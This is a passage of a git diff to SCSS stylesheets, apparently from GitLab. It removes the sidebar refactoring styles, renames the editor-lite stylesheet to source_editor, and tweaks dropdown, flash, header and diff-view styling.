diff --git a/app/assets/stylesheets/framework/contextual_sidebar_header.scss b/app/assets/stylesheets/framework/contextual_sidebar_header.scss
index fdd03f4cdc8..7159dadf7cc 100644
--- a/app/assets/stylesheets/framework/contextual_sidebar_header.scss
+++ b/app/assets/stylesheets/framework/contextual_sidebar_header.scss
@@ -32,6 +32,7 @@
.sidebar-context-title {
overflow: hidden;
text-overflow: ellipsis;
+ color: $gray-900;
&.text-secondary {
font-weight: normal;
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss
deleted file mode 100644
index 905ac260203..00000000000
--- a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss
+++ /dev/null
@@ -1,7 +0,0 @@
-body:not(.sidebar-refactoring) {
- @import 'contextual_sidebar_base';
-}
-
-body.sidebar-refactoring {
- @import 'contextual_sidebar_variant';
-}
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss
deleted file mode 100644
index 306a9b74ebd..00000000000
--- a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss
+++ /dev/null
@@ -1,386 +0,0 @@
-@mixin collapse-contextual-sidebar-content {
-
- @include context-header-collapsed;
-
- .sidebar-top-level-items > li {
- .sidebar-sub-level-items {
- &:not(.flyout-list) {
- display: none;
- }
- }
- }
-
- .nav-icon-container {
- margin-right: 0;
- }
-
- .toggle-sidebar-button {
- padding: 16px;
- width: $contextual-sidebar-collapsed-width - 1px;
-
- .collapse-text,
- .icon-chevron-double-lg-left {
- display: none;
- }
-
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
- }
- }
-}
-
-@mixin collapse-contextual-sidebar {
- width: $contextual-sidebar-collapsed-width;
-
- .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
-
- .badge.badge-pill:not(.fly-out-badge),
- .nav-item-name {
- @include gl-sr-only;
- }
-
- .sidebar-top-level-items > li > a {
- min-height: 45px;
- }
-
- .fly-out-top-item {
- display: block;
- }
-
- .avatar-container {
- margin: 0 auto;
- }
-}
-
-@at-root {
- .page-with-contextual-sidebar {
- transition: padding-left $sidebar-transition-duration;
-
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
-
- @include media-breakpoint-up(xl) {
- padding-left: $contextual-sidebar-width;
- }
-
- .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
- padding: 10px 0 15px;
- }
- }
-
- .page-with-icon-sidebar {
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
- }
-
- .settings-avatar {
- background-color: $white;
-
- svg {
- fill: $gl-text-color-secondary;
- margin: auto;
- }
- }
-
- .nav-sidebar {
- transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
- position: fixed;
- z-index: 600;
- width: $contextual-sidebar-width;
- top: $header-height;
- bottom: 0;
- left: 0;
- background-color: $gray-light;
- box-shadow: inset -1px 0 0 $border-color;
- transform: translate3d(0, 0, 0);
-
- &:not(.sidebar-collapsed-desktop) {
- @media (min-width: map-get($grid-breakpoints, sm)) and (max-width: map-get($grid-breakpoints, sm)) {
- box-shadow: inset -1px 0 0 $border-color, 2px 1px 3px $dropdown-shadow-color;
- }
- }
-
- &.sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar;
- }
-
- &.sidebar-expanded-mobile {
- left: 0;
- }
-
- a {
- text-decoration: none;
- }
-
- ul {
- padding-left: 0;
- list-style: none;
- }
-
- li {
- white-space: nowrap;
-
- a {
- transition: padding $sidebar-transition-duration;
- display: flex;
- align-items: center;
- padding: 12px $gl-padding;
- color: $gl-text-color-secondary;
- }
-
- .nav-item-name {
- flex: 1;
- }
-
- &.active {
- > a {
- font-weight: $gl-font-weight-bold;
- }
- }
- }
-
- @include media-breakpoint-down(sm) {
- left: (-$contextual-sidebar-width);
- }
-
- .nav-icon-container {
- display: flex;
- margin-right: 8px;
- }
-
- .fly-out-top-item {
- display: none;
- }
-
- svg {
- height: 16px;
- width: 16px;
- }
-
- @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
- &:not(.sidebar-expanded-mobile) {
- @include collapse-contextual-sidebar;
- @include collapse-contextual-sidebar-content;
- }
- }
- }
-
- .nav-sidebar-inner-scroll {
- height: 100%;
- width: 100%;
- overflow: auto;
- }
-
- .sidebar-sub-level-items {
- display: none;
- padding-bottom: 8px;
-
- > li {
- a {
- padding: 8px 16px 8px 40px;
-
- &:hover,
- &:focus {
- background: $link-active-background;
- color: $gl-text-color;
- }
- }
-
- &.active {
- a {
- &,
- &:hover,
- &:focus {
- background: $link-active-background;
- }
- }
- }
- }
- }
-
- .sidebar-top-level-items {
- margin-bottom: 60px;
-
- > li {
- > a {
- @include media-breakpoint-up(sm) {
- margin-right: 1px;
- }
-
- &:hover {
- color: $gl-text-color;
- }
- }
-
- &.is-showing-fly-out {
- > a {
- margin-right: 1px;
- }
-
- .sidebar-sub-level-items {
- @include media-breakpoint-up(sm) {
- position: fixed;
- top: 0;
- left: 0;
- min-width: 150px;
- margin-top: -1px;
- padding: 4px 1px;
- background-color: $white;
- box-shadow: 2px 1px 3px $dropdown-shadow-color;
- border: 1px solid $gray-darker;
- border-left: 0;
- border-radius: 0 3px 3px 0;
-
- &::before {
- content: '';
- position: absolute;
- top: -30px;
- bottom: -30px;
- left: -10px;
- right: -30px;
- z-index: -1;
- }
-
- &.is-above {
- margin-top: 1px;
- }
-
- .divider {
- height: 1px;
- margin: 4px -1px;
- padding: 0;
- background-color: $dropdown-divider-bg;
- }
-
- > .active {
- box-shadow: none;
-
- > a {
- background-color: transparent;
- }
- }
-
- a {
- padding: 8px 16px;
- color: $gl-text-color;
-
- &:hover,
- &:focus {
- background-color: $gray-darker;
- }
- }
- }
- }
- }
-
- .badge.badge-pill {
- background-color: $inactive-badge-background;
- color: $gl-text-color-secondary;
- }
-
- &.active {
- background: $link-active-background;
-
- > a {
- margin-left: 4px;
- // Subtract width of left border on active element
- padding-left: $gl-padding-12;
- }
-
- .badge.badge-pill {
- font-weight: $gl-font-weight-bold;
- }
-
- .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
- }
- }
-
- &.active > a:hover,
- &.is-over > a {
- background-color: $link-hover-background;
- }
- }
- }
-
- // Collapsed nav
-
- .toggle-sidebar-button,
- .close-nav-button {
- @include side-panel-toggle;
- }
-
- .toggle-sidebar-button,
- .close-nav-button {
- position: fixed;
- bottom: 0;
- width: $contextual-sidebar-width - 1px;
- border-top: 1px solid $border-color;
-
- svg {
- margin-right: 8px;
- }
-
- .icon-chevron-double-lg-right {
- display: none;
- }
- }
-
- .collapse-text {
- white-space: nowrap;
- overflow: hidden;
- }
-
- .sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar-content;
- }
-
- .fly-out-top-item {
- > a {
- display: flex;
- }
-
- .fly-out-badge {
- margin-left: 8px;
- }
- }
-
- .fly-out-top-item-name {
- flex: 1;
- }
-
- // Mobile nav
-
- .close-nav-button {
- display: none;
- }
-
- @include media-breakpoint-down(sm) {
- .close-nav-button {
- display: flex;
- }
-
- .toggle-sidebar-button {
- display: none;
- }
-
- .mobile-overlay {
- display: none;
-
- &.mobile-nav-open {
- display: block;
- position: fixed;
- background-color: $black-transparent;
- height: 100%;
- width: 100%;
- z-index: $zindex-dropdown-menu;
- }
- }
- }
-}
-
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss
deleted file mode 100644
index 1ea50281204..00000000000
--- a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss
+++ /dev/null
@@ -1,552 +0,0 @@
-//
-// VARIABLES
-//
-
-$top-level-item-color: $purple-900;
-
-//
-// TEMPORARY OVERRIDES
-// Needed while we serve both *_base and *_variant stylesheets
-// TODO: These have to be removed during the ':sidebar_refactor' flag rollout
-//
-&.gl-dark .nav-sidebar li.active {
- box-shadow: none;
-}
-
-&.gl-dark .nav-sidebar .sidebar-sub-level-items {
- box-shadow: none;
- border: 1px solid $border-color;
-}
-
-&.gl-dark .sidebar-top-level-items .context-header a .avatar-container.rect-avatar .avatar.s32 {
- color: $white;
-}
-
-&.gl-dark .nav-sidebar li a,
-&.gl-dark .toggle-sidebar-button .collapse-text,
-&.gl-dark .toggle-sidebar-button .icon-chevron-double-lg-left,
-&.gl-dark .toggle-sidebar-button .icon-chevron-double-lg-right,
-&.gl-dark .sidebar-top-level-items .context-header a .sidebar-context-title,
-&.gl-dark .nav-sidebar-inner-scroll > div.context-header a .sidebar-context-title,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a:hover,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item.active a,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item .fly-out-top-item-container {
- color: $gray-darkest;
-}
-
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a:hover,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item.active a,
-&.gl-dark .nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item .fly-out-top-item-container {
- @include gl-mt-0;
-}
-
-&.gl-dark .nav-sidebar a:not(.has-sub-items) + .sidebar-sub-level-items .fly-out-top-item a,
-&.gl-dark .nav-sidebar a:not(.has-sub-items) + .sidebar-sub-level-items .fly-out-top-item a:hover,
-&.gl-dark .nav-sidebar a:not(.has-sub-items) + .sidebar-sub-level-items .fly-out-top-item.active a,
-&.gl-dark .nav-sidebar a:not(.has-sub-items) + .sidebar-sub-level-items .fly-out-top-item .fly-out-top-item-container {
- background: $white;
- color: $gray-darkest;
-
- &::before {
- border-right-color: $white;
- }
-}
-
-&.gl-dark .nav-sidebar .sidebar-sub-level-items {
- background-color: $white;
-}
-
-&.ui-indigo .nav-sidebar li.active:not(.fly-out-top-item) > a {
- color: $top-level-item-color;
-}
-
-&.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
- fill: $top-level-item-color;
-}
-
-.nav-sidebar {
- box-shadow: none;
-
- li.active {
- background-color: transparent;
- box-shadow: none !important; // TODO: This should be updated in `theme_helper.scss` together with ':sidebar_refactor' rollout
- }
-}
-
-//
-// MIXINS
-//
-
-@mixin collapse-contextual-sidebar-content {
-
- @include context-header-collapsed;
-
- .context-header {
- @include gl-h-auto;
-
- a {
- @include gl-p-2;
- }
- }
-
- .sidebar-top-level-items > li {
- .sidebar-sub-level-items {
- &:not(.flyout-list) {
- display: none;
- }
- }
- }
-
- .nav-icon-container {
- margin-right: 0;
- }
-
- .toggle-sidebar-button {
- width: $contextual-sidebar-collapsed-width;
-
- .collapse-text {
- display: none;
- }
-
- .icon-chevron-double-lg-left {
- @include gl-rotate-180;
- @include gl-display-block; // TODO: shouldn't be needed after the flag roll out
- @include gl-m-0;
- }
- }
-}
-
-@mixin collapse-contextual-sidebar {
- width: $contextual-sidebar-collapsed-width;
-
- .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
-
- .badge.badge-pill:not(.fly-out-badge),
- .nav-item-name,
- .collapse-text {
- @include gl-sr-only;
- }
-
- .sidebar-top-level-items > li > a {
- min-height: unset;
- }
-
- .fly-out-top-item:not(.divider) {
- display: block !important;
- }
-
- .avatar-container {
- margin: 0 auto;
- }
-
- li.active:not(.fly-out-top-item) > a {
- background-color: $indigo-900-alpha-008;
- }
-}
-
-@mixin sub-level-items-flyout {
- .sidebar-sub-level-items {
- @include media-breakpoint-up(sm) {
- @include gl-fixed;
- @include gl-top-0;
- @include gl-left-0;
- @include gl-ml-3;
- @include gl-mt-0;
- @include gl-px-0;
- @include gl-pb-2;
- @include gl-pt-0;
- min-width: 150px;
- background-color: $gray-10;
- box-shadow: 0 $gl-spacing-scale-2 $gl-spacing-scale-5 $t-gray-a-24, 0 0 $gl-spacing-scale-1 $t-gray-a-24;
- border-style: none;
- border-radius: $border-radius-default;
-
- .divider {
- @include gl-display-none;
- }
-
- .divider + li > a {
- @include gl-mt-2;
- }
-
- li:last-of-type a {
- @include gl-mb-0;
- }
-
- &.is-above {
- @include gl-mt-0;
- }
- }
-
- a {
- @include gl-px-4;
- }
-
- .fly-out-top-item {
- > a {
- display: flex;
- }
-
- .fly-out-badge {
- margin-left: 8px;
- }
- }
-
- .fly-out-top-item-name {
- flex: 1;
- }
- }
-}
-
-@mixin context-header {
- $avatar-box-shadow: inset 0 0 0 1px $t-gray-a-08;
-
- @include gl-p-2;
- @include gl-mb-2;
- @include gl-mt-0;
-
- .avatar-container {
- @include gl-font-weight-normal;
- flex: none;
- box-shadow: $avatar-box-shadow;
-
- &.rect-avatar {
- @include gl-border-none;
-
- .avatar.s32 {
- @extend .rect-avatar.s32;
- //color: $gray-900;
- box-shadow: $avatar-box-shadow;
- }
- }
- }
-
- .sidebar-context-title {
- color: $top-level-item-color;
- }
-}
-
-@mixin top-level-item {
- @include gl-px-4;
- @include gl-py-3;
- @include gl-display-flex;
- @include gl-align-items-center;
- @include gl-rounded-base;
- @include gl-w-auto;
- @include gl-line-height-normal;
- transition: none;
- margin: $sidebar-top-item-tb-margin $sidebar-top-item-lr-margin;
-
- &:hover {
- background-color: $indigo-900-alpha-008;
- }
-}
-
-@mixin fly-out-top-item($has-sub-items: false) {
- @include gl-display-none;
-
- a,
- a:hover,
- &.active a,
- .fly-out-top-item-container {
- @include gl-mx-0;
- @include gl-px-5;
- @include gl-cursor-default;
- @include gl-pointer-events-none;
- @include gl-font-sm;
- background-color: $purple-900;
- color: $white;
-
- @if $has-sub-items {
- @include gl-mt-0;
- border-bottom-left-radius: 0;
- border-bottom-right-radius: 0;
- } @else {
- @include gl-my-n2;
- @include gl-mt-0;
- @include gl-relative;
- background-color: $black;
-
- strong {
- @include gl-font-weight-normal;
- }
-
- &::before {
- @include gl-absolute;
- content: '';
- display: block;
- top: 50%;
- left: -$gl-spacing-scale-2;
- margin-top: -$gl-spacing-scale-2;
- width: 0;
- height: 0;
- border-top: $gl-spacing-scale-2 solid transparent;
- border-bottom: $gl-spacing-scale-2 solid transparent;
- border-right: $gl-spacing-scale-2 solid $black;
- }
- }
- }
-}
-
-//
-// PAGE-LAYOUT
-//
-
-.page-with-contextual-sidebar {
- transition: padding-left $sidebar-transition-duration;
-
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
-
- @include media-breakpoint-up(xl) {
- padding-left: $contextual-sidebar-width;
- }
-
- .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
- padding: 10px 0 15px;
- }
-}
-
-.page-with-icon-sidebar {
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
-}
-
-//
-// THE PANEL
-//
-
-.nav-sidebar {
- @include gl-fixed;
- @include gl-bottom-0;
- @include gl-left-0;
- transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
- z-index: 600;
- width: $contextual-sidebar-width;
- top: $header-height;
- background-color: $gray-50;
- transform: translate3d(0, 0, 0);
-
- &.sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar;
- }
-
- &.sidebar-expanded-mobile {
- left: 0;
- }
-
- a {
- @include gl-text-decoration-none;
- color: $top-level-item-color;
- }
-
- li {
- white-space: nowrap;
-
- .nav-item-name {
- flex: 1;
- }
-
- > a,
- > .fly-out-top-item-container {
- @include top-level-item;
- }
-
- &.active {
- > a {
- font-weight: $gl-font-weight-bold;
- }
-
- &:not(.fly-out-top-item) {
- > a:not(.has-sub-items) {
- background-color: $indigo-900-alpha-008;
- }
- }
- }
- }
-
- ul {
- padding-left: 0;
- list-style: none;
- }
-
- @include media-breakpoint-down(sm) {
- left: (-$contextual-sidebar-width);
- }
-
- .nav-icon-container {
- display: flex;
- margin-right: 8px;
- }
-
- a:not(.has-sub-items) + .sidebar-sub-level-items {
- .fly-out-top-item {
- @include fly-out-top-item($has-sub-items: false);
- }
- }
-
- a.has-sub-items + .sidebar-sub-level-items {
- @include gl-mt-n2;
-
- .fly-out-top-item {
- @include fly-out-top-item($has-sub-items: true);
- }
- }
-
- @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
- &:not(.sidebar-expanded-mobile) {
- @include collapse-contextual-sidebar;
- @include collapse-contextual-sidebar-content;
- }
- }
-}
-
-.nav-sidebar-inner-scroll {
- @include gl-h-full;
- @include gl-w-full;
- @include gl-overflow-auto;
-
- > div.context-header {
- @include gl-mt-2;
-
- a {
- @include top-level-item;
- @include context-header;
- }
- }
-}
-
-.sidebar-top-level-items {
- @include gl-mt-2;
- margin-bottom: 60px;
-
- .context-header a {
- @include context-header;
- }
-
- > li {
- .badge.badge-pill {
- @include gl-rounded-lg;
- @include gl-py-1;
- @include gl-px-3;
- background-color: $blue-100;
- color: $blue-700;
- }
-
- &.active {
- .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
- }
-
- .badge.badge-pill {
- @include gl-font-weight-normal; // TODO: update in `theme_helper.scss`
- color: $blue-700; // TODO: update in `theme_helper.scss`
- }
- }
- }
-}
-
-.sidebar-sub-level-items {
- @include gl-py-0;
- @include gl-display-none;
-
- &:not(.fly-out-list) {
- li > a {
- // The calculation formula:
- // 12px: normal padding on the menu anchors
- // +
- // 16px: the width of the SVG icon in the top-level links
- // +
- // 8px: margin-right on the SVG icon in the top-level links
- // =
- // 36px (4.5 times the $grid-size)
- padding-left: $grid-size * 4.5;
- }
- }
-}
-
-.is-showing-fly-out {
- @include sub-level-items-flyout;
-}
-
-//
-// COLLAPSED STATE
-//
-
-.toggle-sidebar-button,
-.close-nav-button {
- @include side-panel-toggle;
- background-color: $gray-50;
- border-top: 1px solid $border-color;
- color: $top-level-item-color;
- position: fixed;
- bottom: 0;
- width: $contextual-sidebar-width;
-
- .collapse-text,
- .icon-chevron-double-lg-left,
- .icon-chevron-double-lg-right {
- color: inherit;
- }
-}
-
-.collapse-text {
- white-space: nowrap;
- overflow: hidden;
-}
-
-.sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar-content;
-}
-
-//
-// MOBILE PANEL
-//
-
-.close-nav-button {
- display: none;
-}
-
-@include media-breakpoint-down(sm) {
- .close-nav-button {
- display: flex;
- }
-
- .toggle-sidebar-button {
- display: none;
- }
-
- .mobile-overlay {
- display: none;
-
- &.mobile-nav-open {
- display: block;
- position: fixed;
- background-color: $black-transparent;
- height: 100%;
- width: 100%;
- z-index: $zindex-dropdown-menu;
- }
- }
-}
-
-//
-// PANELS-SPECIFIC
-// TODO: Check whether we can remove these in favor of the utility-classes
-//
-
-.settings-avatar {
- background-color: $white;
-
- svg {
- fill: $gl-text-color-secondary;
- margin: auto;
- }
-}
-
diff --git a/app/assets/stylesheets/framework/diffs.scss b/app/assets/stylesheets/framework/diffs.scss
index c0e9289309a..f8b1735207c 100644
--- a/app/assets/stylesheets/framework/diffs.scss
+++ b/app/assets/stylesheets/framework/diffs.scss
@@ -847,8 +847,6 @@ table.code {
.commit-stat-summary {
@include media-breakpoint-up(sm) {
- margin-left: -$gl-padding;
- padding-left: $gl-padding;
background-color: $white;
}
}
@@ -1190,3 +1188,9 @@ table.code {
margin-top: 0;
}
}
+
+// Note: Prevents tall files from appearing above sticky tabs
+.diffs .vue-recycle-scroller__item-view > div:not(.active) {
+ position: absolute;
+ bottom: 100vh;
+}
diff --git a/app/assets/stylesheets/framework/dropdowns.scss b/app/assets/stylesheets/framework/dropdowns.scss
index 894eddbe1a7..144a396ea65 100644
--- a/app/assets/stylesheets/framework/dropdowns.scss
+++ b/app/assets/stylesheets/framework/dropdowns.scss
@@ -30,7 +30,9 @@
.dropdown-menu {
@include set-visible;
min-height: $dropdown-min-height;
- max-height: $dropdown-max-height;
+ // Prevents double scrollbar on dropdowns that also
+ // have max-height set on an inner scrollable element
+ max-height: $dropdown-max-height-lg;
overflow-y: auto;
&.dropdown-extended-height {
@@ -239,7 +241,7 @@
max-width: 500px;
margin-top: $dropdown-vertical-offset;
margin-bottom: 24px;
- font-size: 14px;
+ font-size: 0.875rem;
font-weight: $gl-font-weight-normal;
padding: 8px 0;
background-color: $white;
@@ -931,13 +933,9 @@ header.header-content .dropdown-menu.frequent-items-dropdown-menu {
}
.frequent-items-list-item-container {
- .frequent-items-item-avatar-container,
- .frequent-items-item-metadata-container {
- flex-shrink: 0;
- }
-
.frequent-items-item-metadata-container {
display: flex;
+ flex-shrink: 0;
flex-direction: column;
justify-content: center;
}
@@ -949,12 +947,6 @@ header.header-content .dropdown-menu.frequent-items-dropdown-menu {
white-space: nowrap;
}
- &:hover {
- .frequent-items-item-avatar-container .avatar {
- border-color: $gray-50;
- }
- }
-
.frequent-items-item-title {
font-size: $gl-font-size;
font-weight: 400;
diff --git a/app/assets/stylesheets/framework/editor-lite.scss b/app/assets/stylesheets/framework/editor-lite.scss
deleted file mode 100644
index 05b53e0c3d8..00000000000
--- a/app/assets/stylesheets/framework/editor-lite.scss
+++ /dev/null
@@ -1,76 +0,0 @@
-[data-editor-loading] {
- @include gl-relative;
- @include gl-display-flex;
- @include gl-justify-content-center;
- @include gl-align-items-center;
- @include gl-z-index-0;
-
- > * {
- filter: blur(5px);
- }
-
- &::before {
- content: '';
- @include spinner-deprecated(32px, 3px);
- @include gl-absolute;
- @include gl-z-index-1;
- }
-
- pre {
- opacity: 0;
- }
-}
-
-[id^='editor-lite-'] {
- height: 500px;
-}
-
-.monaco-editor.gl-editor-lite {
- .margin-view-overlays {
- .line-numbers {
- @include gl-display-flex;
- @include gl-justify-content-end;
- @include gl-relative;
-
- &::before {
- @include gl-visibility-hidden;
- @include gl-align-self-center;
- @include gl-bg-gray-400;
- @include gl-mr-2;
- @include gl-w-4;
- @include gl-h-4;
- mask-image: asset_url('icons-stacked.svg#link');
- mask-repeat: no-repeat;
- mask-size: cover;
- mask-position: center;
- content: '';
- }
-
- &:hover {
- @include gl-text-decoration-underline;
- cursor: pointer !important;
- }
-
- &:hover::before {
- @include gl-visibility-visible;
- }
-
- &:focus::before {
- @include gl-visibility-visible;
- outline: auto;
- }
-
- .link-anchor {
- @include gl-display-block;
- @include gl-absolute;
- @include gl-w-full;
- @include gl-h-full;
- }
- }
- }
-}
-
-.active-line-text {
- @include gl-bg-orange-600;
- @include gl-opacity-3;
-}
diff --git a/app/assets/stylesheets/framework/files.scss b/app/assets/stylesheets/framework/files.scss
index bda123fa7ea..5ad7ceecb2b 100644
--- a/app/assets/stylesheets/framework/files.scss
+++ b/app/assets/stylesheets/framework/files.scss
@@ -508,3 +508,25 @@ span.idiff {
}
}
}
+
+//
+// IMPORTANT PERFORMANCE OPTIMIZATION BELOW
+//
+// * :nth-of-type(1n+70) - makes sure we do not render lines 71+ right
+// away. Even though the HTML is injected in the DOM, as long as we do
+// not render those lines, the browser doesn't need to spend resources
+// calculating and repainting what's hidden.
+//
+// * :not(:last-of-type) makes sure that we output the last line of the
+// blob's snippet. This is important because the column with the line
+// numbers has auto width and is expanding based on the content in it.
+// This leads to unnecessary layout shift when the last lines of the
+// snippet are longer than two (2) digits.
+// EXAMPLE: Let's say, we have a blob with 100 lines. If we output 70
+// lines, and then, the remaining 30 (incl the line 100), it will lead
+// to the layout reflow and styles recalculation when we output line
+// 100 (because the width of '100' is always bigger than '70'). By
+// outputting the last line right away, we prevent that as the column
+// will always be expanded to the maximum needed width.
+.blob-viewer[data-loading] .file-content.code .line:nth-of-type(1n+70):not(:last-of-type),
+.blob-viewer[data-loading] .file-content.code .file-line-num:nth-of-type(1n+70):not(:last-of-type) {display: none !important;}
diff --git a/app/assets/stylesheets/framework/flash.scss b/app/assets/stylesheets/framework/flash.scss
index d5f7ec68454..30a1c8af414 100644
--- a/app/assets/stylesheets/framework/flash.scss
+++ b/app/assets/stylesheets/framework/flash.scss
@@ -56,24 +56,19 @@ $notification-box-shadow-color: rgba(0, 0, 0, 0.25);
}
.flash-alert {
- background-color: $red-100;
- color: $red-700;
+ background-color: $red-50;
}
.flash-notice {
- background-color: $blue-100;
- color: $blue-700;
+ background-color: $blue-50;
}
.flash-success {
- background-color: $theme-green-100;
- color: $green-700;
+ background-color: $green-50;
}
.flash-warning {
background-color: $orange-50;
- color: $gray-900;
- cursor: default;
}
.flash-text,
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index 8639b9a7f84..65d914e47cf 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -555,7 +555,8 @@ $top-nav-hover-bg: var(--indigo-900-alpha-008, $indigo-900-alpha-008) !important
visibility: visible;
}
-.with-performance-bar .navbar-gitlab {
+.with-performance-bar .navbar-gitlab,
+.with-performance-bar .fixed-top {
top: $performance-bar-height;
}
@@ -563,7 +564,7 @@ $top-nav-hover-bg: var(--indigo-900-alpha-008, $indigo-900-alpha-008) !important
justify-content: center;
height: $header-height;
background: $white;
- border-bottom: 1px solid $white-normal;
+ border-bottom: 1px solid $gray-100;
.tanuki-logo,
.brand-header-logo {
diff --git a/app/assets/stylesheets/framework/lists.scss b/app/assets/stylesheets/framework/lists.scss
index 9fe9f9a845c..d2bb1e3d555 100644
--- a/app/assets/stylesheets/framework/lists.scss
+++ b/app/assets/stylesheets/framework/lists.scss
@@ -149,12 +149,6 @@ ul.content-list {
margin-right: $grid-size;
display: inline-block;
- &.btn-ldap-override {
- @include media-breakpoint-up(sm) {
- margin-bottom: 0;
- }
- }
-
&.has-tooltip,
&:last-child {
margin-right: 0;
diff --git a/app/assets/stylesheets/framework/source_editor.scss b/app/assets/stylesheets/framework/source_editor.scss
new file mode 100644
index 00000000000..a967d9a71f1
--- /dev/null
+++ b/app/assets/stylesheets/framework/source_editor.scss
@@ -0,0 +1,76 @@
+[data-editor-loading] {
+ @include gl-relative;
+ @include gl-display-flex;
+ @include gl-justify-content-center;
+ @include gl-align-items-center;
+ @include gl-z-index-0;
+
+ > * {
+ filter: blur(5px);
+ }
+
+ &::before {
+ content: '';
+ @include spinner-deprecated(32px, 3px);
+ @include gl-absolute;
+ @include gl-z-index-1;
+ }
+
+ pre {
+ opacity: 0;
+ }
+}
+
+[id^='source-editor-'] {
+ height: 500px;
+}
+
+.monaco-editor.gl-source-editor {
+ .margin-view-overlays {
+ .line-numbers {
+ @include gl-display-flex;
+ @include gl-justify-content-end;
+ @include gl-relative;
+
+ &::before {
+ @include gl-visibility-hidden;
+ @include gl-align-self-center;
+ @include gl-bg-gray-400;
+ @include gl-mr-2;
+ @include gl-w-4;
+ @include gl-h-4;
+ mask-image: asset_url('icons-stacked.svg#link');
+ mask-repeat: no-repeat;
+ mask-size: cover;
+ mask-position: center;
+ content: '';
+ }
+
+ &:hover {
+ @include gl-text-decoration-underline;
+ cursor: pointer !important;
+ }
+
+ &:hover::before {
+ @include gl-visibility-visible;
+ }
+
+ &:focus::before {
+ @include gl-visibility-visible;
+ outline: auto;
+ }
+
+ .link-anchor {
+ @include gl-display-block;
+ @include gl-absolute;
+ @include gl-w-full;
+ @include gl-h-full;
+ }
+ }
+ }
+}
+
+.active-line-text {
+ @include gl-bg-orange-600;
+ @include gl-opacity-3;
+}
diff --git a/app/assets/stylesheets/framework/system_messages.scss b/app/assets/stylesheets/framework/system_messages.scss
index 437915d5034..1cb34bea069 100644
--- a/app/assets/stylesheets/framework/system_messages.scss
+++ b/app/assets/stylesheets/framework/system_messages.scss
@@ -60,7 +60,8 @@
// System Header
&.with-performance-bar {
// main navigation
- header.navbar-gitlab {
+ header.navbar-gitlab,
+ .fixed-top {
top: $performance-bar-height + $system-header-height;
}
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index d3976cfa8c7..726f8e28efe 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -634,18 +634,6 @@ $note-targe3-outside: #fffff0;
$note-targe3-inside: #ffffd3;
/*
-* Identicon
-*/
-$identicon-text-color: #525252 !default;
-$identicon-red: #ffebee !default;
-$identicon-purple: #f3e5f5 !default;
-$identicon-indigo: #e8eaf6 !default;
-$identicon-blue: #e3f2fd !default;
-$identicon-teal: #e0f2f1 !default;
-$identicon-orange: #fbe9e7 !default;
-$identicon-gray: #eee !default;
-
-/*
* Calendar
*/
$calendar-hover-bg: #ecf3fe;
diff --git a/app/assets/stylesheets/page_bundles/admin/application_settings_metrics_and_profiling.scss b/app/assets/stylesheets/page_bundles/admin/application_settings_metrics_and_profiling.scss
index 41bb6d107f1..db81cc7fdd4 100644
--- a/app/assets/stylesheets/page_bundles/admin/application_settings_metrics_and_profiling.scss
+++ b/app/assets/stylesheets/page_bundles/admin/application_settings_metrics_and_profiling.scss
@@ -1,3 +1,3 @@
-.usage-data {
+.service-data-payload-container {
max-height: 400px;
}
diff --git a/app/assets/stylesheets/page_bundles/boards.scss b/app/assets/stylesheets/page_bundles/boards.scss
index a00a71b07e7..428bd90ddd7 100644
--- a/app/assets/stylesheets/page_bundles/boards.scss
+++ b/app/assets/stylesheets/page_bundles/boards.scss
@@ -472,6 +472,10 @@
.sidebar-collapsed-icon {
display: none;
}
+
+ .gl-drawer-header {
